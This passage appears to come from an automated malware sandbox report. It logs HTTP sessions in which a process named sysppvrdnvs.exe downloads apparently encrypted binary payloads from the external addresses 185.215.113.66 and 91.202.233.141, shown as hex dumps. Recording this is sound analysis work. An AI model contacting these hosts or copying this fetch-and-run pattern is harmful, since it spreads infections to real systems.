84 f3 f2 df d5 e9 24 ed 82 c6 22 c1 fd cf 14 bb 4c 2b d9 27 6c f4 35 00 10 82 a6 1e bb 1d cf 5d 31 5a dd 21 48 df 7c c6 bd aa 01 4a af 21 b4 2f b4 3d 3a 6a 72 7e ad 32 ca d0 54 ff fa 5e 52 a6 ae 21 74 90 74 88 9f 33 25 5f 1c 2f 3a cd 70 f4 a3 40 f4 de 5a 2d 2e a5 ab 8c c7 c4 39 ee ac 1f df dd ad 83 61 53 40 96 ef 54 f8 d5 99 78 d0 5c 15 a6 e4 3a 94 aa 88 b5 29 9f 27 fe df f6 f1 44 8d bc dd e1 03 41 86 b3 e3 55 74 f6 93 e0 52 2d 67 f4 5a 3e ac f1 42 1d 05 88 0b c7 71 98 35 3a 39 b0 14 2a a2 79 0b 6e 7a ab 34 d0 5e f3 c0 be 79 a1 6e 92 b2 77 e0 36 5f b2 e6 fd 89 91 4d 37 1c 32 b3 ee 70 af 6a 4a 74 8a 23 65 0e 7a c7 53 57 d8 80 68 b7 [TRUNCATED] Data Ascii: [yMx3+_[/CLIK0pPaGjqr>+"M()nf+m8`@'V]_{1&$"L+'l5]1Z!H\|J!/=:jr~2T^R!tt3%_/:p@Z-.9aS@Tx\:)'DAUtR-gZ>Bq5:9*ynz4^ynw6_M72pjJt#ezSWh4{q/br( olSu5nw;i#:X<<T>cRfzgzDG:]]G=su`#Zt9Xw48~$YJ<0}~,4SJGJwzbyt;9C#<$v@0`/"8bn,]E-VpYcGa:q2oWO,N3#@my1~-I-.!m<fa^ak=FzeMq/(\R\)KwxlM7LD G+m\E~Xt:\|2EX<\P3,qDxRG,~TaZ~v{zJ[a$y#gR<v\>cjn)?kSxP07@Pe@ZL6RvoexXOK4For'A8K%?RtGVB}c7!8=f&d
Oct 26, 2024 07:27:40.163960934 CEST	112	IN	Data Raw: 49 24 02 da 57 17 86 62 ea 4f b3 98 a8 06 64 68 e4 0e 11 0e 16 b4 f3 7d b0 7f 4e f3 b6 bb c5 b4 04 d0 bf 65 7f 95 6e fe ce e4 7b b2 ca f9 ec 06 09 b6 58 0e 05 a0 aa 0b 83 ec 25 fb e4 1d e9 c0 9d 1e 4d 8c be fd 63 31 5e 38 76 9c 34 c9 48 ba b1 12 Data Ascii: I$WbOdh}Nen{X%Mc1^8v4H\|f\|'x
Oct 26, 2024 07:27:40.163969994 CEST	1236	IN	Data Raw: e7 fb dd bb ba 5c 82 d9 10 01 16 0b d1 18 bc a5 c1 52 27 e6 01 29 e5 a1 94 eb 5a d4 9c d9 0e c6 b9 08 0f 7b d1 dc 97 ca 03 fd 8d 9b 69 02 43 7f bb 2c 1c 7d 27 9e f3 1f 9e 05 68 84 fa 43 bc b1 ac 68 af c3 ad 35 ee 5b d6 9c 1a 77 52 47 90 d7 8d 40 Data Ascii: \R')Z{iC,}'hCh5[wRG@XB;G[-iC+(?E=y[$He&qs*ukH7<IzH6=Azqk]9hlg:k.vK4"N[e:M;2/KUNMlRA8Wh!&J\|-^=_4g
Oct 26, 2024 07:27:40.163997889 CEST	1236	IN	Data Raw: b1 75 f1 15 cb 86 00 f9 d2 09 b9 72 00 86 b3 62 b8 79 f4 fb 15 63 27 e6 0f f3 9d cc 58 84 67 d0 2a 79 38 b5 38 8b 83 a3 b9 28 be b7 42 41 f1 e2 6f 71 f2 62 ff 1e ca cc 92 cb 5c 33 6d 63 32 ac e4 6b dc 87 0a 85 d5 67 26 93 df 3b 10 52 0d ea 61 b6 Data Ascii: urbyc'Xg*y88(BAoqb\3mc2kg&;Rao#``2C(BRcAEy3.(d{A#/h>(HyN}X2m+@0'+gU2OduQa17j(rEw3<&tLi)DVo\|
Oct 26, 2024 07:27:40.164011002 CEST	1236	IN	Data Raw: d8 09 89 b1 d7 c1 86 84 f9 13 dc c1 36 ee be 66 f7 71 8d 09 90 88 b0 96 8c 7b 3e 17 51 9c 15 e7 41 82 42 c7 31 54 d7 5b 14 eb b7 f3 c8 13 87 aa bd 7e 33 9e 23 c8 56 c6 ce a6 ea 50 76 b9 e3 96 b0 7c c2 6c 0b a6 f7 46 94 8d 3b 1a 07 d9 08 79 88 cc Data Ascii: 6fq{>QAB1T[~3#VPv\|lF;yHu^-z\|&#BzHrsexJJe"xg+b-&x[m,Vb/WUEetS~F/xhfo&Y.=yU9hwaL{%+
Oct 26, 2024 07:27:40.164021015 CEST	1236	IN	Data Raw: 19 02 a2 14 1c 5c f8 33 91 43 05 0f 10 5b 36 4e 33 6e 72 e4 a5 c4 64 ad c7 23 59 66 34 55 86 66 04 97 82 11 f7 a5 ef dc c3 9e 51 80 22 5e 2c 60 02 3a 66 b3 ee 3d eb 6b 9b 1d e3 46 9e e8 27 e7 0b 4f 88 47 d9 2e c3 cd 9e 75 a9 d3 cb 32 87 7e 6f df Data Ascii: \3C[6N3nrd#Yf4UfQ"^,`:f=kF'OG.u2~o8?_s}T^_+=y?PtVOD/mpDVQ*jj&!-6Ma:\|G@`Rw<,ywV#eeEVBAH/^Cpo#=S-s
Oct 26, 2024 07:27:40.164038897 CEST	1236	IN	Data Raw: b3 8a 6d 78 63 1f c4 c8 ca 3a eb 3b cd 3e 62 0d 72 9a 27 de 43 39 78 9c ea d8 99 7e 04 d5 2e a0 80 11 ec 2e ac 36 4f 9a 76 d3 98 1b 86 d0 ab 61 d0 01 a6 bd 2c 49 78 d2 d5 cb 25 be 51 b0 e6 81 4c f4 b0 a8 1c 36 9d d5 0c 28 48 fd 81 2d 6f 05 fc a1 Data Ascii: mxc:;>br'C9x~..6Ova,Ix%QL6(H-oeq@.>SX~^x~QKCmJr1FhW)U`aQfN3Dh4O,2WMtQ\|kBE=L~] ;jZG#Ad^7p7:Elc
Oct 26, 2024 07:27:40.164061069 CEST	1236	IN	Data Raw: 24 d3 59 e5 1c a8 d5 57 ee 8f 8a ce aa fe e0 a5 e1 7c ec 78 14 05 4c 0b fc 7d 59 5a 4f 0a 0a 45 fb 59 40 65 b7 09 10 12 46 aa 1d f5 0a 68 b4 50 ae de 46 80 b0 01 a4 7e 31 b4 ae 4a bf c3 47 40 19 0b cb a9 79 65 34 e0 23 ea ad f0 6d 19 35 f8 c7 59 Data Ascii: $YW\|xL}YZOEY@eFhPF~1JG@ye4#m5YE8mA!pV7>S?5XK=`:btHho/I-6JM5[c}0'z 8g'?Q<Py*P-DH_gb9LKb
Oct 26, 2024 07:27:40.164076090 CEST	1236	IN	Data Raw: 0b 35 71 62 f9 1d ac 2a 64 58 bb 10 d9 77 62 3e dc 30 dd c7 43 2d 5d eb e5 8c bd a1 97 c0 0d 13 9d 0c 5b 49 75 9d 38 67 8c 80 10 8f c5 9c b3 16 c9 da dd a8 13 05 97 09 a4 67 5e ef 2a 11 a4 e7 6c 38 f1 9b 08 1d 22 eb 1b d0 de a0 b1 13 57 7e cb e1 Data Ascii: 5qbdXwb>0C-][Iu8gg^l8"W~Qx! jtDsCZw\]9HG5/CRWhR5)*"~#~8z&lkL{GV1+!Y&IAFt+B\?o?ZMXksfB"+0Zl
Oct 26, 2024 07:27:40.164087057 CEST	1236	IN	Data Raw: 9f f2 a1 14 fd 6d 6a b8 6f 4b ab db 84 f9 ff f3 e6 47 f8 eb 2c bb 24 17 33 9a 1c 77 00 e1 ee 89 c0 ac 6b d0 83 08 0a e0 5d eb 95 00 40 c1 98 be 3f 58 a0 c8 44 7b 4b a9 4a 24 4b a3 a7 cb 65 bc e5 e7 fb 4c de a6 b7 78 e6 c0 89 89 a5 7f f1 89 44 da Data Ascii: mjoKG,$3wk]@?XD{KJ$KeLxD0^T3-njQ2\|`wG):O]az~bk7cHE&h_0nGy_1[ou5l:iZ2~q:NGp&Euhl"y3Y
Oct 26, 2024 07:27:40.164206028 CEST	1236	IN	Data Raw: f2 42 d2 99 98 da c1 36 e7 b0 0b e9 cd 8d ab 05 d9 33 c6 68 81 63 df 77 81 9d b5 c9 86 30 73 5e b3 3f b8 69 d7 ae c1 be d4 3d af 59 1e dd c8 6f b4 63 56 71 0f 59 32 30 4c ed 0d 26 29 8c 84 50 84 33 c7 e2 7d 93 b5 2c fe 8d 60 d2 43 de 02 99 5b 76 Data Ascii: B63hcw0s^?i=YocVqY20L&)P3},`C[v-8c(dj7FX%w^'Es=#OX@z4uriME7t76e1t&vQM}:*)}Ui=`)o?+?s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.6	50006	185.215.113.66	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:27:42.205141068 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:27:43.131649017 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:42 GMT Content-Type: application/octet-stream Content-Length: 10496 Last-Modified: Sun, 20 Oct 2024 18:34:00 GMT Connection: keep-alive ETag: "67154d18-2900" Accept-Ranges: bytes Data Raw: 13 e3 aa 7c f1 40 76 43 29 84 09 02 71 ae 39 fc df 9d fa 02 4b d8 7b 3e ae 0c e2 64 38 f9 d3 27 da 73 10 d1 ca f9 f2 4a f8 ad aa 12 e8 fa c9 50 6e f5 a1 6b 88 56 c2 7a 1f 17 e8 40 57 00 b2 8f df 4c 7b e3 14 75 47 bf 27 47 31 bb 43 4c 8e e7 b4 40 14 db 1d 3c 42 cc e1 36 dc d3 3b 91 3e 68 4d 15 e2 5c e6 98 da 7c 77 03 42 8c 76 ca a5 9a 81 db a1 ec 75 f2 84 a2 67 09 f0 c5 b4 4f 58 86 25 fc 20 b3 68 fa 72 39 3a 7c e0 1b f5 e8 b0 73 b6 f8 3c 81 36 fa 29 81 67 e8 ee 34 47 6c 59 b9 7f 18 32 42 66 14 35 b3 8d e2 41 8d e5 92 2b 47 1f c0 93 b3 28 d8 54 2d 6f 45 f1 c3 5a cf 49 32 33 d3 7b ac a8 27 33 c1 c9 e0 29 60 f9 b3 d3 5e 65 37 6a 7a 2f 4d 24 73 1b 93 bb fa 91 d2 34 ce 9b 19 db d6 2a 31 36 f0 a2 ab 92 6d 08 d9 66 72 6e 07 c5 44 44 2c 9e af ae ce d3 fb 57 61 28 cd 32 90 44 0e c3 39 95 a9 ab 17 e4 0d 16 a5 f0 c2 e3 78 c3 de e1 fa ff 86 d7 ae ab 06 ba 5a 6b 34 44 61 15 d3 b1 85 29 3f 83 f4 5f 68 10 ed 8d d7 73 41 11 b6 57 f3 ed 02 fa a4 42 32 ff 99 d6 ea 0a 63 48 51 ba 54 b5 00 01 83 3d 9e bb 55 dd 93 1c e5 [TRUNCATED] Data Ascii: \|@vC)q9K{>d8'sJPnkVz@WL{uG'G1CL@<B6;>hM\\|wBvugOX% hr9:\|s<6)g4GlY2Bf5A+G(T-oEZI23{'3)`^e7jz/M$s4*16mfrnDD,Wa(2D9xZk4Da)?_hsAWB2cHQT=U@3}!YGCX{ 4"&h0.'xu#c\|gL0)cM]oL{:En:?\|_XPQ@ 3.o)ua[I+fZM% ]2uz_Gwt0bFaMTd2Y&TMXP}+OpQEo6R;P>8`2'"~CZ_,2g $l"x:h;H`$-6_-eC?6T=qL3&fG)WG@6X~%X%RCh?R].fbU!PHh"Rj,dk.e\~hn(,G<u16tlw;p;yrSC_M6XhtG7zsHP,e_ddcn^M+ct\0jr>;_nq>xezw
Oct 26, 2024 07:27:43.131679058 CEST	1236	IN	Data Raw: b6 6f 0a 0a 83 25 6b 6b 77 fa e4 46 67 eb d9 41 2f aa 63 53 82 83 51 d9 2f 3d 63 6a 82 33 0b 6f 95 13 e1 9f 36 1b ba cb fb f5 6f 57 bb 40 bd 1d a5 c1 57 98 12 18 b1 98 2c ff 21 39 d5 d8 8c 8b 48 74 d5 8a 79 fc c5 75 bb aa e4 d3 c1 a0 97 29 d7 96 Data Ascii: o%kkwFgA/cSQ/=cj3o6oW@W,!9Htyu)PU:vO'8O>*B aw'&iEpRaMZ\|3Fk<lQ;GbPMlh5}8m;ajW,N7&QK
Oct 26, 2024 07:27:43.131695032 CEST	1236	IN	Data Raw: 63 34 74 b5 c2 9f e6 cf 24 40 6d 6d 39 94 34 21 a1 59 32 49 93 8d 45 6f 16 41 e3 3e fb e9 ec 01 f9 89 40 75 7d 84 c1 29 99 2e 8f f9 01 1b d7 e2 f5 ea f5 37 7e 95 c0 87 7f d4 e2 e3 b8 2c a3 95 7b 43 15 a1 69 fe 92 c8 13 e2 7f 5f 3b 68 4b fa 25 e1 Data Ascii: c4t$@mm94!Y2IEoA>@u}).7~,{Ci_;hK%D&kuY'p=/a:NTtKu"1X[8Ibdym-*\|+>a`<Z!%\| 4&[+usL^etpuu);Xb<>M\
Oct 26, 2024 07:27:43.131759882 CEST	1236	IN	Data Raw: 0b a6 7d 79 c6 0e 19 41 de 44 a9 03 74 f2 fb a9 92 bc 27 b6 69 9d 42 1a 59 26 6e 6d a8 df 05 cd 7b e6 9c e9 45 0f 67 74 bc 1a e1 59 dd 58 26 67 a8 cb ea 52 87 27 f1 9b fe 95 bd 52 bf 68 3a 2f 74 d5 bc 82 48 3c f6 ef 52 41 bf 9a 2d b2 e4 48 3f 02 Data Ascii: }yADt'iBY&nm{EgtYX&gR'Rh:/tH<RA-H?:3a$8;SUrN1QIuc>"W\|1Rrm]T1&PSTQZqEtgc[U,@+LoR0rMwfu^VUzcie_$eM;B
Oct 26, 2024 07:27:43.131778002 CEST	448	IN	Data Raw: 0e 0b 73 b4 cc 61 72 90 49 03 c9 0c 34 6e 73 ed 3b 3f 45 e7 2a 84 8c 3b 11 6d 21 89 00 60 23 47 8c c2 4b 9e c0 2c d8 47 80 38 fd e5 6a f8 e1 31 10 55 0b 54 d4 89 df 1b da 0d 24 5b 6e ee 18 45 4b 11 59 49 7e 62 cf 22 93 99 ab 6f bd b6 fe 39 0b 36 Data Ascii: sarI4ns;?E;m!`#GK,G8j1UT$[nEKYI~b"o96{'#S(cJK4Hft5U>1uauV\|p8"`;uT;_Ibmppc&D5HCwjrH&532a`#&A
Oct 26, 2024 07:27:43.131794930 CEST	1236	IN	Data Raw: aa fa 62 12 93 06 96 26 10 ad ee 3f 3a 32 0f 63 b0 c9 34 e0 c6 5d 26 60 69 44 af c5 91 85 d2 84 09 89 f2 6c 3d 84 bc 18 7a 15 34 45 a4 64 67 41 97 93 05 44 ff df 37 26 13 b8 c0 69 cd d0 4d e7 a8 07 3a c0 b4 91 f1 c8 d0 9a 5f ec 8d 18 a9 e0 47 12 Data Ascii: b&?:2c4]&`iDl=z4EdgAD7&iM:_GHkd*UDfMvJ_;Pk9njT:S;7#B0;s9MxF!o-0.Iq&q"Ka4tO>]=7PpVra;AyN<.O~`=]/
Oct 26, 2024 07:27:43.131809950 CEST	1236	IN	Data Raw: 55 fa f6 a6 80 b6 6c 83 d2 ea 2f d6 f9 a2 96 d2 ee 32 1d 3a 03 4f 21 69 97 4b 76 be d4 fd 5e 94 dc b6 91 f9 89 7f 6c da 9f c8 b4 c1 a7 bb 31 3d 07 3e 88 72 f1 4a fa 21 3b fb e2 1e 9e 3d 7f 77 4a 6f 8a 09 14 20 4f f5 68 09 fe f2 df 7a 11 bb 4f 3d Data Ascii: Ul/2:O!iKv^l1=>rJ!;=wJo OhzO=q~qF.Bth]QL>uAZ Zva"HIbKdPSmy"Y9o3QBqYV#Vr8C7ClU8.* /;7(^
Oct 26, 2024 07:27:43.131828070 CEST	1236	IN	Data Raw: e3 8d 21 bb 4e dc cd 1a 6c ff 09 f1 d9 48 e3 7c af 33 cf be 1b 12 df 57 72 de 12 b5 be b0 1f a7 be 3a f9 9e ce 06 d1 45 e2 08 a7 d4 27 85 c9 b9 72 d1 c2 ba 68 f3 74 f6 c7 76 f4 e9 47 ea d4 1f d2 e2 2e 77 47 36 12 b0 6e 3d 2d c0 7a 09 e7 50 4b 2c Data Ascii: !NlH\|3Wr:E'rhtvG.wG6n=-zPK,,jhMRD Yi=8S7=3R]TwZW9^hx``\vkU&lJuGoexF*-~Q;Y0oqb=gP/
Oct 26, 2024 07:27:43.131844997 CEST	1236	IN	Data Raw: 6d f2 73 85 6a 12 77 5c 9c 23 69 0c 30 2b 83 58 15 a7 0a 78 8b d9 e7 3c ae 29 59 e8 ea 2f 27 38 7d e8 bb 4d 38 96 ba 51 f9 ba 97 69 65 26 64 09 72 dc ea 15 d0 f3 9f dc 20 ab d3 42 81 d3 e8 76 59 6e 48 e8 85 96 02 c2 32 90 15 58 76 d7 70 d4 04 7c Data Ascii: msjw\#i0+Xx<)Y/'8}M8Qie&dr BvYnH2Xvp\|hMDGRnV - mS&9TMhZN<^'l}I4n/(U*SQ0EGuKMMv^+ QYI_UyC8v#"=<dYz %.:
Oct 26, 2024 07:27:43.131860018 CEST	425	IN	Data Raw: 2b 8a 4c 0c ab 7f f0 c9 c5 94 f0 f3 80 3c ef ed 6b d8 9f 62 a8 03 27 e0 17 47 67 28 76 ac c8 d7 10 f0 b9 a3 f7 71 ce 49 93 4a 84 9c b0 8f ce 95 f4 29 88 c3 fe cf 80 c4 bc 4c 70 ad 6a 6c 7c 6f be e7 dc 2b 1c 0f 02 6e 4a 1f 45 95 24 7e 38 17 1d ca Data Ascii: +L<kb'Gg(vqIJ)Lpjl\|o+nJE$~8)XrJ]\|a<YaZ#A\|\|fsmK?\|-s;Q\|fGfAJPzKPKkg~3}lScv?Rje%t\|WYFuy3cs{^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.6	50007	185.215.113.66	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:27:45.189408064 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 185.215.113.66
Oct 26, 2024 07:27:46.111536026 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:45 GMT Content-Type: application/octet-stream Content-Length: 13568 Last-Modified: Tue, 22 Oct 2024 12:10:16 GMT Connection: keep-alive ETag: "67179628-3500" Accept-Ranges: bytes Data Raw: 0c 11 18 17 3d 7f 82 02 a6 24 36 4b 11 62 4d 55 d2 81 18 a8 7b ac b4 99 13 ea 95 14 cc 97 97 e2 0a 71 67 8a f6 90 c5 ca 7a 7b 56 bb fa e8 89 09 55 1a 05 57 8f 9c 1a 81 d8 bb 44 82 88 57 06 b0 a8 b1 0d 7d 50 5d 73 d2 54 4b d9 0b b0 cd a7 15 33 5a 57 25 7a d1 92 b0 cc 68 22 98 ff fd 1b 98 b0 f5 65 52 62 23 6d 48 84 63 2c a5 ce 1c d7 7e 20 81 7c 51 12 ee 07 70 82 1e bb bd 5b c1 57 cc 9f 3b 07 de 21 89 69 22 52 a2 b3 ac 41 42 e4 9f 74 46 e4 c5 ff 6a 73 b7 e0 c8 5f 4b 1f cc 28 e3 35 c9 6a 94 90 c9 95 c3 85 52 2c ae 57 13 b6 c7 b3 65 41 44 cb 6e cf 7e 5a 38 88 3a 70 d6 16 06 5e 35 43 a9 4c 56 d1 91 19 cf 12 60 0e f4 0e 93 ce ed f1 59 ab 0f ac b8 08 db 75 8f 57 bd 3e 74 90 a5 b5 79 a1 e7 5c 27 4a 05 b2 04 bb fc f0 de 98 12 16 00 a4 94 30 c4 34 a7 3f 3d d1 48 9d 54 69 63 38 91 b3 31 0e e5 1c 1b 3b 56 e3 53 a0 7c af cd 1f e8 b5 94 ca 54 f5 68 9c e2 81 d7 79 54 fc 2b 6d ba e7 01 91 17 71 86 42 4c 6b dd ff 4f a6 b4 df 21 b1 1d aa 7b 15 e2 4c ad c1 62 52 91 b1 1e ba e8 86 3c 96 57 ad 50 ef 4f 07 df 8e c3 28 72 [TRUNCATED] Data Ascii: =$6KbMU{qgz{VUWDW}P]sTK3ZW%zh"eRb#mHc,~ \|Qp[W;!i"RABtFjs_K(5jR,WeADn~Z8:p^5CLV`YuW>ty\'J04?=HTic81;VS\|ThyT+mqBLkO!{LbR<WPO(rVc=Tb''+DZE"rJ:h}nw1~z:/;fwH`^D\|%F8MD)A_uhi\:h%~!a>&cbV)g$V]Bg1v@%<+({Ps?'f#[V>%}sKu~gWA09-#98wSKfvZgi<)X>rRj9[t6'G*\3+veYh_9^H-'BIh=M8Nz-nt>+yJMpWPLkPyW"y~&ecMz6sC!J`mS?2"OR]N xcxkit9f#:a#C"Ql0p{{rtE:r:'lL]!poXAdOq'Fa\|yM{x;!++H.}bpp8h;qLLa<x<j
Oct 26, 2024 07:27:46.111578941 CEST	212	IN	Data Raw: c5 f6 81 b2 5c be 3a f2 f4 a0 69 51 cb 1e 7a 65 63 1b 5e ad 0c 1e cb bc 15 0c c8 3c fd 96 62 f2 d2 3b 0a d0 1e 9d 66 0c cb 26 ef d1 f3 6e 2b c7 40 85 15 6d 0d 88 4b f9 89 10 2c 37 76 33 d6 5d a0 0a 79 c4 65 0a bc ad 27 98 0e b2 33 fc 54 5c f2 dd Data Ascii: \:iQzec^<b;f&n+@mK,7v3]ye'3T\Sk}):rN]WO]1G>&!>dK@i[]LzA)0N$w\|n=29-
Oct 26, 2024 07:27:46.111588955 CEST	1236	IN	Data Raw: 42 fc 42 df b7 b7 f3 29 e3 7b d1 26 5a c7 49 32 0d 65 8a a5 6a f7 e4 d5 60 20 91 d3 74 10 ce 33 ff bd 7e 25 e2 51 42 fe 63 3d e9 32 f2 e4 5d 93 5c 4b 7f 04 99 cb 1a 85 1b ed c7 1d 1c eb 11 d6 36 d8 c2 11 57 e8 d6 f2 aa 71 3e c5 d7 b1 1c f4 a2 a0 Data Ascii: BB){&ZI2ej` t3~%QBc=2]\K6Wq>d?H4$*e[ist;0BeO#IeShA+< .Gw9`KCcv^21p P2_ri~,T31;TF^hT\t})tm
Oct 26, 2024 07:27:46.111685991 CEST	1236	IN	Data Raw: d5 8b a3 e0 ec 72 b0 ed a3 3a 73 e3 ac 27 8b 18 ae bb 5d 87 aa b3 db 40 94 0e 2d 3a 4e fb 12 dd 3d f2 dd d2 dd a3 72 80 4d 76 81 af 56 a9 06 82 ae ff 8a 79 49 37 1c a2 b7 3a 25 ed f2 08 ab 4d 8e dd 95 b1 5a 7d 61 fb d3 0b d2 02 20 1c 85 9c e0 7f Data Ascii: r:s']@-:N=rMvVyI7:%MZ}a OaYrPQ;\|<5c0aFh){B9hT-\|`56el/9uLltfDO\|CVi-\|R)
Oct 26, 2024 07:27:46.111696959 CEST	1236	IN	Data Raw: 6d 04 43 b9 79 60 4f 47 2a b3 06 4b 9f 7a be d0 c0 38 dc 6c 17 43 1e 74 6c 00 69 b0 8d 22 0a 73 79 98 ca 5f 43 59 c7 44 73 8d 02 a0 d3 49 7e 61 8a bd dc b0 82 db 37 0b 45 a1 57 3c 51 92 f5 a2 fc aa c2 9b 3a 89 7a e3 e8 0c cd c5 9c 06 84 c4 a4 02 Data Ascii: mCy`OG*Kz8lCtli"sy_CYDsI~a7EW<Q:z\,2`+tpk@T-#_DswpTn[/Ar"6k=G]5-[<FMBL]T"vV@#>:LkEIBIqI("
Oct 26, 2024 07:27:46.111709118 CEST	336	IN	Data Raw: 1d e8 10 4a fe b7 ee d7 2e e9 d1 70 53 ec 08 6d 77 87 ce ab f8 b4 8d 12 03 c2 d0 fc 32 58 ac ae c2 7d a6 ff 67 7c d6 bd 35 b0 14 41 eb 84 7f cc e3 42 77 6f 3d 2f e4 e7 77 5d a6 ee 11 a8 b8 42 97 f2 5a d3 93 6e e3 01 36 1e 1b d9 3d 8e 5a 07 fc 0e Data Ascii: J.pSmw2X}g\|5ABwo=/w]BZn6=Z!o{TVSz7[G8ZRb"wJ?is&w3M?8LBTa5Mr(*BDh)(l?ISrmXlv YF{R`[Rxi`Zi
Oct 26, 2024 07:27:46.111721039 CEST	1236	IN	Data Raw: 53 3c 7f 5f 04 8f 40 d3 e1 6d 7e ef d0 ee 8b 4c 89 9c 2d 82 22 96 f3 19 ea 8e 50 80 7b 5c d7 05 7d 5b 7e 29 d0 1a 83 28 52 85 a8 d8 dc 48 c4 7b 73 8d 4d 3a a2 05 bf 07 68 cc bb 4c 9e a2 5d 08 67 81 b6 83 60 6e 29 94 7c 44 b3 94 79 88 6d 17 8a 2c Data Ascii: S<_@m~L-"P{\}[~)(RH{sM:hL]g`n)\|Dym,ZsvtW;Y?!v)"A\|kOB52R}k$s/Q69ANE<g`1YcbCg={8[]Mm~Hsk23{\|D7'3-L
Oct 26, 2024 07:27:46.111732960 CEST	212	IN	Data Raw: 17 42 3b 25 c8 a7 b3 06 49 99 d9 20 a0 7f 71 ab a7 1d ed ac 9d 8a d2 cb 31 0e b8 b8 f7 49 2d 80 1b 0a c1 b1 c1 f5 fe d6 ee 5e 78 72 fb 14 f2 d9 70 8f 5b 63 85 85 9b 5f c7 40 b4 53 ac 8d 50 1a 12 2e f0 a7 fd 64 35 d7 18 2f 64 c3 b8 34 db e8 7d c3 Data Ascii: B;%I q1I-^xrp[c_@SP.d5/d4}P:&F!z.('X~l'-W&{@(Pl%@%&g~j1/{9RG"$(!G3_Q+#\|R
Oct 26, 2024 07:27:46.111745119 CEST	1236	IN	Data Raw: b0 54 3c ea b6 fe f2 56 f2 97 f9 66 0d 3a 0c 09 da 5d a0 7d b1 4e 0a 0b 60 50 7e 7c f5 d0 4e 68 95 b5 e8 fa 1c e0 a7 2d a0 df d5 7b 39 90 7b 53 fe 97 35 08 d0 92 a5 9b a0 91 55 47 ae 1f d7 ae ed 09 8e 2c d7 42 6b 89 c7 54 b3 54 df 2a aa be ec 1d Data Ascii: T<Vf:]}N`P~\|Nh-{9{S5UG,BkTTwv}b&#T%[<9CVd>UkdiqB/bgW^2'N+SN*8s67H_qigq~+3s3p}U,<iv!f]
Oct 26, 2024 07:27:46.111766100 CEST	1236	IN	Data Raw: 1b 6e e4 43 19 c0 68 3c 9c 48 13 66 9f 7b 77 dd 47 41 4f cc fa 23 4e 14 97 51 c9 98 16 67 6f c9 be d6 81 80 eb 3d 7c 03 a0 39 36 ed 44 e2 9d d1 fb 26 46 c9 8d 91 e2 c8 49 6d 69 97 58 25 ce f1 66 e6 65 0b 92 e6 b8 92 17 50 df db f8 82 f6 d6 3a d2 Data Ascii: nCh<Hf{wGAO#NQgo=\|96D&FImiX%feP:Ahg83Hn!cqiW3a{;<jJi.4nQ^tg61lAJN>n}xp<^;<3h;N2#8+x.>JK)X-B-MX*:X
Oct 26, 2024 07:27:46.117161989 CEST	1236	IN	Data Raw: 9b bb e7 5c a6 97 3f e4 20 41 d5 fa 26 2e 2a 54 1f 69 a6 56 9c db e4 59 9a cd c7 ec 78 ac 9e 9e 30 64 37 75 e7 f7 ef 74 6e 49 ba 84 a1 a3 f6 d6 d0 0b 93 43 5b ab 4c fc 9e 62 dc cf dc db a9 23 a8 69 36 31 d2 9a 83 be 42 9f 40 2b ba 09 53 22 a7 9b Data Ascii: \? A&.TiVYx0d7utnIC[Lb#i61B@+S"Q(d`5Z623y\|)_5,I#8\I2b-s\o5:.K/5h'frVg5\|PTya{CWUJ3KtSkwd>~$k_D:[u]V%r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.6	50010	91.202.233.141	80	1588	C:\Windows\sysppvrdnvs.exe

Timestamp	Bytes transferred	Direction	Data
Oct 26, 2024 07:27:49.201984882 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 91.202.233.141
Oct 26, 2024 07:27:50.560899973 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Sat, 26 Oct 2024 05:27:49 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not 